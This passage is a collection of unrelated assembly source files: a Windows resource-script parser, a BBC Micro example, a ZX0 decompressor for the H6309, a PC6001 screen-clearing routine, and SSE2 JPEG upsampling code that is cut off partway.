jmp @b
.endif
NxtEnd:
invoke strcmpi,offset wordbuff,offset szEND
.if eax
invoke strcmpi,offset wordbuff,offset szENDSHORT
.endif
.if !eax
dec nNest
je Ex
jmp @b
.endif
Ex:
mov eax,esi
sub eax,lpRCMem
ret
SetOptions:
invoke SkipSpace
movzx eax,byte ptr [esi]
.if eax && eax!=0Dh
.if eax==','
inc esi
.else
;Type
invoke GetStyle,esi,offset menutypedef,FALSE
test edx,MFT_SEPARATOR
.if !ZERO?
xor edx,MFT_SEPARATOR
mov word ptr [edi].MNUITEM.itemcaption,'-'
.endif
mov [edi].MNUITEM.ntype,edx
add esi,eax
.endif
.endif
invoke SkipSpace
movzx eax,byte ptr [esi]
.if eax && eax!=0Dh
.if eax==','
inc esi
.else
;State
invoke GetStyle,esi,offset menustatedef,FALSE
mov [edi].MNUITEM.nstate,edx
add esi,eax
.endif
.endif
invoke SkipSpace
movzx eax,byte ptr [esi]
.if eax && eax!=0Dh
;HelpID
invoke GetNum,lpProMem
mov [edi].MNUITEM.helpid,eax
.endif
retn
ParseMenuEx endp
ParseAccelerators proc uses ebx esi edi,lpRCMem:DWORD,lpProMem:DWORD
LOCAL lang:DWORD
LOCAL sublang:DWORD
LOCAL ascii:DWORD
mov lang,0
mov sublang,0
invoke AddTypeMem,lpProMem,64*1024,TPE_ACCEL
mov edi,eax
;Name / ID
invoke GetName,lpProMem,offset namebuff,addr [edi].ACCELMEM.szname,addr [edi].ACCELMEM.value
mov esi,lpRCMem
invoke GetLoadOptions,esi
add esi,eax
@@:
invoke GetWord,offset wordbuff,esi
add esi,eax
mov ebx,eax
invoke strcmpi,offset wordbuff,offset szCHARACTERISTICS
.if !eax
invoke GetNum,lpProMem
jmp @b
.endif
invoke strcmpi,offset wordbuff,offset szVERSION
.if !eax
invoke GetNum,lpProMem
jmp @b
.endif
invoke strcmpi,offset wordbuff,offset szLANGUAGE
.if !eax
invoke GetWord,offset wordbuff,esi
add esi,eax
.if byte ptr wordbuff>='0' && byte ptr wordbuff<='9'
invoke ConvNum,lpProMem,offset wordbuff
.else
invoke FindStyle,offset wordbuff,offset langdef
shr eax,16
.endif
mov lang,eax
invoke GetWord,offset wordbuff,esi
add esi,eax
.if byte ptr wordbuff>='0' && byte ptr wordbuff<='9'
invoke ConvNum,lpProMem,offset wordbuff
.else
invoke FindStyle,offset wordbuff,offset langdef
and eax,0FFFFh
.endif
mov sublang,eax
jmp @b
.endif
sub esi,ebx
mov eax,lang
mov [edi].ACCELMEM.lang.lang,eax
mov eax,sublang
mov [edi].ACCELMEM.lang.sublang,eax
add edi,sizeof ACCELMEM
invoke GetWord,offset wordbuff,esi
add esi,eax
invoke strcmpi,offset wordbuff,offset szBEGIN
.if eax
invoke strcmpi,offset wordbuff,offset szBEGINSHORT
.endif
.if !eax
Nxt:
invoke GetWord,offset wordbuff,esi
add esi,eax
invoke strcmpi,offset wordbuff,offset szEND
.if eax
invoke strcmpi,offset wordbuff,offset szENDSHORT
.endif
.if eax
invoke ParseDefsSkip
or eax,eax
je Nxt
mov eax,dword ptr wordbuff
and eax,0FFFFFFh
.if al=='"'
invoke UnQuoteWord,offset wordbuff
movzx eax,wordbuff
mov ascii,eax
.if eax>='a' && eax<='z'
and eax,5Fh
.endif
.elseif ax=='x0'
invoke HexToBin,offset wordbuff+2
mov ascii,eax
.elseif al>='0' && al<='9'
invoke ResEdDecToBin,offset wordbuff
mov ascii,eax
.elseif eax=='_KV'
push esi
mov esi,offset szAclKeys
.while byte ptr [esi]
lea eax,[esi+1]
invoke strcmp,offset wordbuff+3,eax
.if !eax
movzx eax,byte ptr [esi]
jmp @f
.endif
invoke strlen,esi
lea esi,[esi+eax+1]
.endw
mov eax,41h
@@:
mov ascii,eax
pop esi
.else
mov eax,41h
mov ascii,eax
.endif
mov ebx,eax
push esi
push edi
xor edi,edi
mov esi,offset szAclKeys
.while byte ptr [esi]
.break .if bl==byte ptr [esi]
invoke strlen,esi
inc edi
lea esi,[esi+eax+1]
.endw
mov eax,edi
pop edi
pop esi
mov [edi].ACCELMEM.nkey,eax
invoke GetWord,offset wordbuff,esi
add esi,eax
invoke GetName,lpProMem,offset wordbuff,addr [edi].ACCELMEM.szname,addr [edi].ACCELMEM.value
xor ebx,ebx
.while byte ptr [esi]!=0Dh
invoke GetWord,offset wordbuff,esi
add esi,eax
invoke strcmpi,offset wordbuff,offset szVIRTKEY
.if !eax
jmp @f
.endif
invoke strcmpi,offset wordbuff,offset szASCII
.if !eax
mov eax,ascii;[edi].ACCELMEM.nkey
mov [edi].ACCELMEM.nascii,eax
mov [edi].ACCELMEM.nkey,0
jmp @f
.endif
invoke strcmpi,offset wordbuff,offset szNOINVERT
.if !eax
jmp @f
.endif
invoke strcmpi,offset wordbuff,offset szCONTROL
.if !eax
or ebx,1
jmp @f
.endif
invoke strcmpi,offset wordbuff,offset szSHIFT
.if !eax
or ebx,2
jmp @f
.endif
invoke strcmpi,offset wordbuff,offset szALT
.if !eax
or ebx,4
.endif
@@:
.endw
mov [edi].ACCELMEM.flag,ebx
add edi,sizeof ACCELMEM
jmp Nxt
.endif
.endif
mov eax,esi
sub eax,lpRCMem
ret
ParseAccelerators endp
ParseVersioninfo proc uses ebx esi edi,lpRCMem:DWORD,lpProMem:DWORD
LOCAL nNest:DWORD
invoke AddTypeMem,lpProMem,64*1024,TPE_VERSION
mov edi,eax
;Name / ID
invoke GetName,lpProMem,offset namebuff,addr [edi].VERSIONMEM.szname,addr [edi].VERSIONMEM.value
mov esi,lpRCMem
invoke GetLoadOptions,esi
add esi,eax
@@:
invoke GetWord,offset wordbuff,esi
add esi,eax
invoke ParseDefsSkip
or eax,eax
je @b
invoke strcmpi,offset wordbuff,offset szFILEVERSION
.if !eax
invoke GetNum,lpProMem
mov [edi].VERSIONMEM.fv[0],eax
invoke GetNum,lpProMem
mov [edi].VERSIONMEM.fv[4],eax
invoke GetNum,lpProMem
mov [edi].VERSIONMEM.fv[8],eax
invoke GetNum,lpProMem
mov [edi].VERSIONMEM.fv[12],eax
jmp @b
.endif
invoke strcmpi,offset wordbuff,offset szPRODUCTVERSION
.if !eax
invoke GetNum,lpProMem
mov [edi].VERSIONMEM.pv[0],eax
invoke GetNum,lpProMem
mov [edi].VERSIONMEM.pv[4],eax
invoke GetNum,lpProMem
mov [edi].VERSIONMEM.pv[8],eax
invoke GetNum,lpProMem
mov [edi].VERSIONMEM.pv[12],eax
jmp @b
.endif
invoke strcmpi,offset wordbuff,offset szFILEFLAGSMASK
.if !eax
invoke GetNum,lpProMem
jmp @b
.endif
invoke strcmpi,offset wordbuff,offset szFILEFLAGS
.if !eax
mov [edi].VERSIONMEM.ff,eax
invoke GetNum,lpProMem
jmp @b
.endif
invoke strcmpi,offset wordbuff,offset szFILEOS
.if !eax
invoke GetNum,lpProMem
mov [edi].VERSIONMEM.os,eax
jmp @b
.endif
invoke strcmpi,offset wordbuff,offset szFILETYPE
.if !eax
invoke GetNum,lpProMem
mov [edi].VERSIONMEM.ft,eax
jmp @b
.endif
invoke strcmpi,offset wordbuff,offset szFILESUBTYPE
.if !eax
invoke GetNum,lpProMem
mov [edi].VERSIONMEM.fts,eax
jmp @b
.endif
invoke strcmpi,offset wordbuff,offset szBEGIN
.if eax
invoke strcmp,offset wordbuff,offset szBEGINSHORT
.endif
.if !eax
mov ebx,edi
add edi,sizeof VERSIONMEM
mov nNest,1
@@:
invoke GetWord,offset wordbuff,esi
add esi,eax
invoke strcmpi,offset wordbuff,offset szBEGIN
.if eax
invoke strcmpi,offset wordbuff,offset szBEGINSHORT
.endif
.if !eax
inc nNest
jmp @b
.endif
invoke strcmpi,offset wordbuff,offset szBLOCK
.if !eax
invoke GetWord,offset wordbuff,esi
add esi,eax
.if byte ptr wordbuff=='"'
invoke UnQuoteWord,offset wordbuff
movzx eax,byte ptr wordbuff
.if eax>='0' && eax<='9'
mov word ptr [wordbuff-2],'x0'
invoke ConvNum,lpProMem,offset wordbuff-2
movzx edx,ax
shr eax,16
mov [ebx].VERSIONMEM.lng,eax
mov [ebx].VERSIONMEM.chs,edx
.endif
.endif
jmp @b
.endif
invoke strcmpi,offset wordbuff,offset szVALUE
.if !eax
invoke GetWord,offset wordbuff,esi
add esi,eax
invoke UnQuoteWord,offset wordbuff
invoke strcmpi,offset wordbuff,offset szTranslation
.if !eax
invoke GetNum,lpProMem
mov [ebx].VERSIONMEM.lng,eax
invoke GetNum,lpProMem
mov [ebx].VERSIONMEM.chs,eax
.else
invoke strcpyn,addr [edi].VERSIONITEM.szname,offset wordbuff,sizeof VERSIONITEM.szname
invoke GetWord,offset wordbuff,esi
add esi,eax
invoke UnQuoteWord,offset wordbuff
invoke strlen,offset wordbuff
.if word ptr wordbuff[eax-2]=='0\'
mov byte ptr wordbuff[eax-2],0
.endif
invoke strcpyn,addr [edi].VERSIONITEM.szvalue,offset wordbuff,sizeof VERSIONITEM.szvalue
add edi,sizeof VERSIONITEM
.endif
jmp @b
.endif
invoke strcmpi,offset wordbuff,offset szEND
.if eax
invoke strcmp,offset wordbuff,offset szENDSHORT
.endif
.if !eax
dec nNest
jne @b
.endif
.endif
Ex:
mov eax,esi
sub eax,lpRCMem
ret
ParseVersioninfo endp
ParseLanguage proc uses ebx esi edi,lpRCMem:DWORD,lpProMem:DWORD
LOCAL lang:DWORD
LOCAL sublang:DWORD
mov esi,lpRCMem
mov lang,0
mov sublang,0
invoke GetWord,offset wordbuff,esi
add esi,eax
.if byte ptr wordbuff>='0' && byte ptr wordbuff<='9'
invoke ConvNum,lpProMem,offset wordbuff
.else
invoke FindStyle,offset wordbuff,offset langdef
shr eax,16
.endif
mov lang,eax
invoke GetWord,offset wordbuff,esi
add esi,eax
.if byte ptr wordbuff>='0' && byte ptr wordbuff<='9'
invoke ConvNum,lpProMem,offset wordbuff
.else
invoke FindStyle,offset wordbuff,offset langdef
and eax,0FFFFh
.endif
mov sublang,eax
invoke AddTypeMem,lpProMem,sizeof LANGUAGEMEM,TPE_LANGUAGE
mov edi,eax
mov eax,lang
mov [edi].LANGUAGEMEM.lang,eax
mov eax,sublang
mov [edi].LANGUAGEMEM.sublang,eax
mov eax,esi
sub eax,lpRCMem
ret
ParseLanguage endp
ParseToolbar proc uses ebx esi edi,lpRCMem:DWORD,lpProMem:DWORD
LOCAL hMem:DWORD
invoke AddTypeMem,lpProMem,MaxMem,TPE_TOOLBAR
mov hMem,eax
mov edi,eax
;Name / ID
invoke GetName,lpProMem,offset namebuff,addr [edi].TOOLBARMEM.szname,addr [edi].TOOLBARMEM.value
mov esi,lpRCMem
invoke GetLoadOptions,esi
add esi,eax
invoke GetNum,lpProMem
mov [edi].TOOLBARMEM.ccx,eax
invoke GetNum,lpProMem
mov [edi].TOOLBARMEM.ccy,eax
invoke GetWord,offset wordbuff,esi
add esi,eax
invoke strcmpi,offset wordbuff,offset szBEGIN
.if eax
invoke strcmpi,offset wordbuff,offset szBEGINSHORT
.endif
.if !eax
lea edi,[edi+sizeof TOOLBARMEM]
@@:
call SkipSpace
.if byte ptr [esi]==0Dh
inc esi
.endif
.if byte ptr [esi]==0Ah
inc esi
.endif
mov edx,offset wordbuff
.while byte ptr [esi] && byte ptr [esi]!=0Dh
mov al,[esi]
mov [edx],al
inc esi
inc edx
.endw
mov byte ptr [edx],0
invoke strcmpi,offset wordbuff,offset szEND
.if eax
invoke strcmpi,offset wordbuff,offset szENDSHORT
.endif
.if eax
mov edx,offset wordbuff
.while byte ptr [edx]
mov al,[edx]
stosb
inc edx
.endw
mov al,0Dh
stosb
mov al,0Ah
stosb
jmp @b
.endif
.if byte ptr [edi-1]==0Ah
sub edi,2
.endif
mov al,0
stosb
.endif
mov eax,esi
sub eax,lpRCMem
Ex:
ret
ParseToolbar endp
ParseTextInclude proc uses esi edi,lpRCMem:DWORD,lpProMem:DWORD
invoke GetLoadOptions,esi
add esi,eax
invoke GetWord,offset wordbuff,esi
add esi,eax
invoke strcmpi,offset wordbuff,offset szBEGIN
.if eax
invoke strcmpi,offset wordbuff,offset szBEGINSHORT
.endif
.if !eax
@@:
call SkipSpace
.if byte ptr [esi]==0Dh
inc esi
.endif
.if byte ptr [esi]==0Ah
inc esi
.endif
mov edx,offset wordbuff
.while byte ptr [esi] && byte ptr [esi]!=0Dh
mov al,[esi]
mov [edx],al
inc esi
inc edx
.endw
mov byte ptr [edx],0
invoke strcmpi,offset wordbuff,offset szEND
.if eax
invoke strcmpi,offset wordbuff,offset szENDSHORT
.endif
.if eax
jmp @b
.endif
.endif
mov eax,esi
sub eax,lpRCMem
ret
ParseTextInclude endp
ParseRC proc uses esi edi,lpRCMem:DWORD,hRCMem:DWORD,lpProMem:DWORD
mov esi,lpRCMem
mov edi,lpProMem
.while [edi].PROJECT.hmem
add edi,sizeof PROJECT
.endw
invoke GetWord,offset wordbuff,esi
add esi,eax
invoke GetLineNo,hRCMem,esi
mov [edi].PROJECT.lnstart,eax
invoke strcmpi,offset wordbuff,offset szDEFINE
.if !eax
invoke ParseDefine,esi,lpProMem
.if eax==-1
jmp ExErr
.endif
add esi,eax
jmp Ex
.endif
invoke strcmpi,offset wordbuff,offset szINCLUDE
.if !eax
invoke ParseInclude,esi,lpProMem
.if eax==-1
jmp ExErr
.endif
add esi,eax
jmp Ex
.endif
invoke ParseDefsSkip
or eax,eax
je Ex
.if byte ptr wordbuff>='0' && byte ptr wordbuff<='9'
invoke ResEdDecToBin,offset wordbuff
.if eax==RT_STRING
invoke ParseStringTable,esi,lpProMem
.if eax==-1
jmp ExErr
.endif
add esi,eax
jmp Ex
.endif
.endif
invoke strcmpi,offset wordbuff,offset szSTRINGTABLE
.if !eax
invoke ParseStringTable,esi,lpProMem
.if eax==-1
jmp ExErr
.endif
add esi,eax
jmp Ex
.endif
invoke strcmpi,offset wordbuff,offset szLANGUAGE
.if !eax
invoke ParseLanguage,esi,lpProMem
.if eax==-1
jmp ExErr
.endif
add esi,eax
jmp Ex
.endif
invoke strcpy,offset namebuff,offset wordbuff
invoke GetWord,offset wordbuff,esi
add esi,eax
invoke strcmpi,offset wordbuff,offset szDESIGNINFO
.if !eax
invoke ParseSkip,esi,lpProMem
add esi,eax
jmp Ex
.endif
.if byte ptr wordbuff>='0' && byte ptr wordbuff<='9'
invoke ResEdDecToBin,offset wordbuff
.if eax==RT_BITMAP
invoke ParseResource,esi,lpProMem,0
.if eax==-1
jmp ExErr
.endif
add esi,eax
jmp Ex
.elseif eax==RT_CURSOR
invoke ParseResource,esi,lpProMem,1
.if eax==-1
jmp ExErr
.endif
add esi,eax
jmp Ex
.elseif eax==RT_ICON
invoke ParseResource,esi,lpProMem,2
.if eax==-1
jmp ExErr
.endif
add esi,eax
jmp Ex
; .elseif eax==RT_AVI
.elseif eax==RT_RCDATA
invoke ParseResource,esi,lpProMem,4
.if eax==-1
jmp ExErr
.endif
add esi,eax
jmp Ex
; .elseif eax==RT_WAVE
; .elseif eax==RT_IMAGE
.elseif eax==RT_LVIMAGE
invoke ParseResource,esi,lpProMem,6
.if eax==-1
jmp ExErr
.endif
add esi,eax
jmp Ex
.elseif eax==RT_MANIFEST
invoke ParseResource,esi,lpProMem,7
.if eax==-1
jmp ExErr
.endif
add esi,eax
jmp Ex
.elseif eax==RT_ANICURSOR
invoke ParseResource,esi,lpProMem,8
.if eax==-1
jmp ExErr
.endif
add esi,eax
jmp Ex
.elseif eax==RT_FONT
invoke ParseResource,esi,lpProMem,9
.if eax==-1
jmp ExErr
.endif
add esi,eax
jmp Ex
.elseif eax==RT_MESSAGETABLE
invoke ParseResource,esi,lpProMem,10
.if eax==-1
jmp ExErr
.endif
add esi,eax
jmp Ex
.elseif eax==RT_ACCELERATOR
invoke ParseAccelerators,esi,lpProMem
.if eax==-1
jmp ExErr
.endif
add esi,eax
jmp Ex
.elseif eax==RT_VERSION
invoke ParseVersioninfo,esi,lpProMem
.if eax==-1
jmp ExErr
.endif
add esi,eax
jmp Ex
.elseif eax==RT_DIALOGEX
invoke ParseDialogEx,esi,lpProMem
.if eax==-1
jmp ExErr
.endif
add esi,eax
jmp Ex
.elseif eax==RT_DIALOG
invoke ParseDialog,esi,lpProMem
.if eax==-1
jmp ExErr
.endif
add esi,eax
jmp Ex
.elseif eax==RT_MENUEX
invoke ParseMenuEx,esi,lpProMem
.if eax==-1
jmp ExErr
.endif
add esi,eax
jmp Ex
.elseif eax==RT_MENU
invoke ParseMenu,esi,lpProMem
.if eax==-1
jmp ExErr
.endif
add esi,eax
jmp Ex
.endif
.endif
mov edi,offset rarstype
xor ebx,ebx
.while [edi].RARSTYPE.sztype
invoke strcmpi,offset wordbuff,addr [edi].RARSTYPE.sztype
.if !eax
invoke ParseResource,esi,lpProMem,ebx
.if eax==-1
jmp ExErr
.endif
add esi,eax
jmp Ex
.endif
add edi,sizeof RARSTYPE
inc ebx
.endw
invoke strcmpi,offset wordbuff,offset szRT_MANIFEST
.if !eax
invoke ParseResource,esi,lpProMem,7
.if eax==-1
jmp ExErr
.endif
add esi,eax
jmp Ex
.endif
invoke strcmpi,offset wordbuff,offset szRT_RCDATA
.if !eax
invoke ParseResource,esi,lpProMem,4
.if eax==-1
jmp ExErr
.endif
add esi,eax
jmp Ex
.endif
invoke strcmpi,offset wordbuff,offset szACCELERATORS
.if !eax
invoke ParseAccelerators,esi,lpProMem
.if eax==-1
jmp ExErr
.endif
add esi,eax
jmp Ex
.endif
invoke strcmpi,offset wordbuff,offset szVERSIONINFO
.if !eax
invoke ParseVersioninfo,esi,lpProMem
.if eax==-1
jmp ExErr
.endif
add esi,eax
jmp Ex
.endif
invoke strcmpi,offset wordbuff,offset szDIALOGEX
.if !eax
invoke ParseDialogEx,esi,lpProMem
.if eax==-1
jmp ExErr
.endif
add esi,eax
jmp Ex
.endif
invoke strcmpi,offset wordbuff,offset szDIALOG
.if !eax
invoke ParseDialog,esi,lpProMem
.if eax==-1
jmp ExErr
.endif
add esi,eax
jmp Ex
.endif
invoke strcmpi,offset wordbuff,offset szMENU
.if !eax
invoke ParseMenu,esi,lpProMem
.if eax==-1
jmp ExErr
.endif
add esi,eax
jmp Ex
.endif
invoke strcmpi,offset wordbuff,offset szMENUEX
.if !eax
invoke ParseMenuEx,esi,lpProMem
.if eax==-1
jmp ExErr
.endif
add esi,eax
jmp Ex
.endif
invoke strcmpi,offset wordbuff,offset szTOOLBAR
.if !eax
invoke ParseToolbar,esi,lpProMem
.if eax==-1
jmp ExErr
.endif
add esi,eax
jmp Ex
.endif
invoke strcmpi,offset wordbuff,offset szTEXTINCLUDE
.if !eax
invoke ParseTextInclude,esi,lpProMem
.if eax==-1
jmp ExErr
.endif
add esi,eax
jmp Ex
.endif
.if byte ptr wordbuff
invoke strcpy,offset namebuff+1024,offset namebuff
invoke strcat,offset namebuff+1024,offset szSPACE
invoke strcat,offset namebuff+1024,offset wordbuff
invoke SkipSpace
.if byte ptr [esi]=='"'
invoke strcat,offset namebuff+1024,offset szCustomType
invoke MessageBox,hRes,offset namebuff+1024,offset szAppName,MB_ICONEXCLAMATION or MB_OKCANCEL
.if eax==IDCANCEL
mov eax,-1
jmp ExErr
.endif
invoke ParseResource,esi,lpProMem,4
.if eax==-1
jmp ExErr
.endif
add esi,eax
jmp Ex
.else
invoke strcat,offset namebuff+1024,offset szUnknownType
invoke MessageBox,hRes,offset namebuff+1024,offset szAppName,MB_ICONERROR or MB_OK
.endif
.endif
Ex:
invoke GetLineNo,hRCMem,esi
mov [edi].PROJECT.lnend,eax
mov eax,esi
sub eax,lpRCMem
ret
ExErr:
mov fClose,eax
ret
ParseRC endp
ParseRCMem proc uses esi,hRCMem:DWORD,lpProMem:DWORD
xor eax,eax
mov fError,eax
mov fModify,eax
mov fParseError,eax
mov esi,hRCMem
mov hrcmem,esi
.while TRUE
invoke ParseRC,esi,hRCMem,lpProMem
.break .if !eax || eax==-1 || fParseError
add esi,eax
.endw
mov eax,lpProMem
ret
ParseRCMem endp
|
\ Example
INCLUDE "../../lib/constants.asm"
mode = 7
ORG &2000
.start
LDA mode
JSR screenmode
.finish
RTS
.screenmode
INCLUDE "../../lib/screenmode.asm"
.end
SAVE "MyCode", start, end
|
; zx0_v1_6309_standard.asm - ZX0 decompressor for H6309 - 75 bytes
;
; Copyright (c) 2021 Doug Masten
; ZX0 compression (c) 2021 Einar Saukas, https://github.com/einar-saukas/ZX0
;
; This software is provided 'as-is', without any express or implied
; warranty. In no event will the authors be held liable for any damages
; arising from the use of this software.
;
; Permission is granted to anyone to use this software for any purpose,
; including commercial applications, and to alter it and redistribute it
; freely, subject to the following restrictions:
;
; 1. The origin of this software must not be misrepresented; you must not
; claim that you wrote the original software. If you use this software
; in a product, an acknowledgment in the product documentation would be
; appreciated but is not required.
; 2. Altered source versions must be plainly marked as such, and must not be
; misrepresented as being the original software.
; 3. This notice may not be removed or altered from any source distribution.
;------------------------------------------------------------------------------
; Function : zx0_decompress
; Entry : Reg X = start of compressed data
; : Reg U = start of decompression buffer
; Exit : Reg X = end of compressed data + 1
; : Reg U = end of decompression buffer + 1
; Destroys : Regs D, V, W, Y
; Description : Decompress ZX0 data (version 1)
;------------------------------------------------------------------------------
zx0_decompress ldq #$ffff0001 ; init offset = -1 and elias = 1
tfr d,v ; preserve offset
lda #$80 ; init bit stream
; 0 - literal (copy next N bytes from compressed data)
zx0_literals bsr zx0_elias ; obtain length
tfm x+,u+ ; copy literals
incw ; set elias = 1
lsla ; get next bit
bcs zx0_new_offset ; branch if next block is new offset
; 0 - copy from last offset (repeat N bytes from last offset)
bsr zx0_elias ; obtain length
zx0_copy tfr u,y ; get current buffer address
addr v,y ; and calculate offset address
tfm y+,u+ ; copy match
incw ; set elias = 1
lsla ; get next bit
bcc zx0_literals ; branch if next block is literals
; 1 - copy from new offset (repeat N bytes from new offset)
zx0_new_offset bsr zx0_elias ; obtain MSB offset
comf ; adjust for negative offset (set carry for RORW below)
incf ; " " " "
beq zx0_eof ; eof? (offset = 256) if so exit
tfr f,e ; move to MSB position
ldf ,x+ ; obtain LSB offset
rorw ; offset bit #0 becomes first length bit
tfr w,v ; preserve new offset
ldw #1 ; set elias = 1
bcs skip@ ; test first length bit
bsr zx0_backtrace ; get elias but skip first bit
skip@ incw ; elias = elias + 1
bra zx0_copy ; go copy new offset match
; interlaced elias gamma coding
zx0_backtrace
loop@ lsla ; get next bit
rolw ; rotate bit into gamma value
zx0_elias lsla ; get next bit
bne skip@ ; branch if bit stream is not empty
lda ,x+ ; load another group of 8 bits
rola ; get next bit
skip@ bcc loop@ ; loop again until done
zx0_eof rts ; return
|
;
; ANSI Video handling for the PC6001
;
; CLS - Clear the screen
;
;
; Stefano Bodrato - Jan 2013
;
;
; $Id: f_ansi_cls.asm,v 1.3 2016/06/12 16:06:43 dom Exp $
;
SECTION code_clib
PUBLIC ansi_cls
.ansi_cls
LD HL,0101h
CALL 11CDh ; L2A - convert location to screen address
push hl
ld d,h
ld e,l
inc de
ld (hl),32
ld bc,511
ldir
pop hl
ld a,$f0
and h
ld h,a
ld d,h
ld e,l
inc de
ld (hl),0
ld bc,511
ldir
ret
|
;
; jdsample.asm - upsampling (64-bit SSE2)
;
; Copyright 2009 Pierre Ossman <ossman@cendio.se> for Cendio AB
; Copyright (C) 2009, D. R. Commander.
;
; Based on the x86 SIMD extension for IJG JPEG library
; Copyright (C) 1999-2006, MIYASAKA Masaru.
; For conditions of distribution and use, see copyright notice in jsimdext.inc
;
; This file should be assembled with NASM (Netwide Assembler),
; can *not* be assembled with Microsoft's MASM or any compatible
; assembler (including Borland's Turbo Assembler).
; NASM is available from http://nasm.sourceforge.net/ or
; http://sourceforge.net/project/showfiles.php?group_id=6208
;
; [TAB8]
%include "jsimdext.inc"
; --------------------------------------------------------------------------
SECTION SEG_CONST
alignz 16
global EXTN(jconst_fancy_upsample_sse2)
EXTN(jconst_fancy_upsample_sse2):
PW_ONE times 8 dw 1
PW_TWO times 8 dw 2
PW_THREE times 8 dw 3
PW_SEVEN times 8 dw 7
PW_EIGHT times 8 dw 8
alignz 16
; --------------------------------------------------------------------------
SECTION SEG_TEXT
BITS 64
;
; Fancy processing for the common case of 2:1 horizontal and 1:1 vertical.
;
; The upsampling algorithm is linear interpolation between pixel centers,
; also known as a "triangle filter". This is a good compromise between
; speed and visual quality. The centers of the output pixels are 1/4 and 3/4
; of the way between input pixel centers.
;
; GLOBAL(void)
; jsimd_h2v1_fancy_upsample_sse2 (int max_v_samp_factor,
; JDIMENSION downsampled_width,
; JSAMPARRAY input_data,
; JSAMPARRAY *output_data_ptr);
;
; r10 = int max_v_samp_factor
; r11 = JDIMENSION downsampled_width
; r12 = JSAMPARRAY input_data
; r13 = JSAMPARRAY *output_data_ptr
align 16
global EXTN(jsimd_h2v1_fancy_upsample_sse2)
EXTN(jsimd_h2v1_fancy_upsample_sse2):
push rbp
mov rax,rsp
mov rbp,rsp
collect_args
mov eax, r11d ; colctr
test rax,rax
jz near .return
mov rcx, r10 ; rowctr
test rcx,rcx
jz near .return
mov rsi, r12 ; input_data
mov rdi, r13
mov rdi, JSAMPARRAY [rdi] ; output_data
.rowloop:
push rax ; colctr
push rdi
push rsi
mov rsi, JSAMPROW [rsi] ; inptr
mov rdi, JSAMPROW [rdi] ; outptr
test rax, SIZEOF_XMMWORD-1
jz short .skip
mov dl, JSAMPLE [rsi+(rax-1)*SIZEOF_JSAMPLE]
mov JSAMPLE [rsi+rax*SIZEOF_JSAMPLE], dl ; insert a dummy sample
.skip:
pxor xmm0,xmm0 ; xmm0=(all 0's)
pcmpeqb xmm7,xmm7
psrldq xmm7,(SIZEOF_XMMWORD-1)
pand xmm7, XMMWORD [rsi+0*SIZEOF_XMMWORD]
add rax, byte SIZEOF_XMMWORD-1
and rax, byte -SIZEOF_XMMWORD
cmp rax, byte SIZEOF_XMMWORD
ja short .columnloop
.columnloop_last:
pcmpeqb xmm6,xmm6
pslldq xmm6,(SIZEOF_XMMWORD-1)
pand xmm6, XMMWORD [rsi+0*SIZEOF_XMMWORD]
jmp short .upsample
.columnloop:
movdqa xmm6, XMMWORD [rsi+1*SIZEOF_XMMWORD]
pslldq xmm6,(SIZEOF_XMMWORD-1)
.upsample:
movdqa xmm1, XMMWORD [rsi+0*SIZEOF_XMMWORD]
movdqa xmm2,xmm1
movdqa xmm3,xmm1 ; xmm1=( 0 1 2 ... 13 14 15)
pslldq xmm2,1 ; xmm2=(-- 0 1 ... 12 13 14)
psrldq xmm3,1 ; xmm3=( 1 2 3 ... 14 15 --)
por xmm2,xmm7 ; xmm2=(-1 0 1 ... 12 13 14)
por xmm3,xmm6 ; xmm3=( 1 2 3 ... 14 15 16)
movdqa xmm7,xmm1
psrldq xmm7,(SIZEOF_XMMWORD-1) ; xmm7=(15 -- -- ... -- -- --)
movdqa xmm4,xmm1
punpcklbw xmm1,xmm0 ; xmm1=( 0 1 2 3 4 5 6 7)
punpckhbw xmm4,xmm0 ; xmm4=( 8 9 10 11 12 13 14 15)
movdqa xmm5,xmm2
punpcklbw xmm2,xmm0 ; xmm2=(-1 0 1 2 3 4 5 6)
punpckhbw xmm5,xmm0 ; xmm5=( 7 8 9 10 11 12 13 14)
movdqa xmm6,xmm3
punpcklbw xmm3,xmm0 ; xmm3=( 1 2 3 4 5 6 7 8)
punpckhbw xmm6,xmm0 ; xmm6=( 9 10 11 12 13 14 15 16)
pmullw xmm1,[rel PW_THREE]
pmullw xmm4,[rel PW_THREE]
paddw xmm2,[rel PW_ONE]
paddw xmm5,[rel PW_ONE]
paddw xmm3,[rel PW_TWO]
paddw xmm6,[rel PW_TWO]
paddw xmm2,xmm1
paddw xmm5,xmm4
psrlw xmm2,2 ; xmm2=OutLE=( 0 2 4 6 8 10 12 14)
psrlw xmm5,2 ; xmm5=OutHE=(16 18 20 22 24 26 28 30)
paddw xmm3,xmm1
paddw xmm6,xmm4
psrlw xmm3,2 ; xmm3=OutLO=( 1 3 5 7 9 11 13 15)
psrlw xmm6,2 ; xmm6=OutHO=(17 19 21 23 25 27 29 31)
psllw xmm3,BYTE_BIT
psllw xmm6,BYTE_BIT
por xmm2,xmm3 ; xmm2=OutL=( 0 1 2 ... 13 14 15)
por xmm5,xmm6 ; xmm5=OutH=(16 17 18 ... 29 30 31)
movdqa XMMWORD [rdi+0*SIZEOF_XMMWORD], xmm2
movdqa XMMWORD [rdi+1*SIZEOF_XMMWORD], xmm5
sub rax, byte SIZEOF_XMMWORD
add rsi, byte 1*SIZEOF_XMMWORD ; inptr
add rdi, byte 2*SIZEOF_XMMWORD ; outptr
cmp rax, byte SIZEOF_XMMWORD
ja near .columnloop
test eax,eax
jnz near .columnloop_last
pop rsi
pop rdi
pop rax
add rsi, byte SIZEOF_JSAMPROW ; input_data
add rdi, byte SIZEOF_JSAMPROW ; output_data
dec rcx ; rowctr
jg near .rowloop
.return:
uncollect_args
pop rbp
ret
; --------------------------------------------------------------------------
;
; Fancy processing for the common case of 2:1 horizontal and 2:1 vertical.
; Again a triangle filter; see comments for h2v1 case, above.
;
; GLOBAL(void)
; jsimd_h2v2_fancy_upsample_sse2 (int max_v_samp_factor,
; JDIMENSION downsampled_width,
; JSAMPARRAY input_data,
; JSAMPARRAY *output_data_ptr);
;
; r10 = int max_v_samp_factor
; r11 = JDIMENSION downsampled_width
; r12 = JSAMPARRAY input_data
; r13 = JSAMPARRAY *output_data_ptr
%define wk(i) rbp-(WK_NUM-(i))*SIZEOF_XMMWORD ; xmmword wk[WK_NUM]
%define WK_NUM 4
align 16
global EXTN(jsimd_h2v2_fancy_upsample_sse2)
EXTN(jsimd_h2v2_fancy_upsample_sse2):
push rbp
mov rax,rsp ; rax = original rbp
sub rsp, byte 4
and rsp, byte (-SIZEOF_XMMWORD) ; align to 128 bits
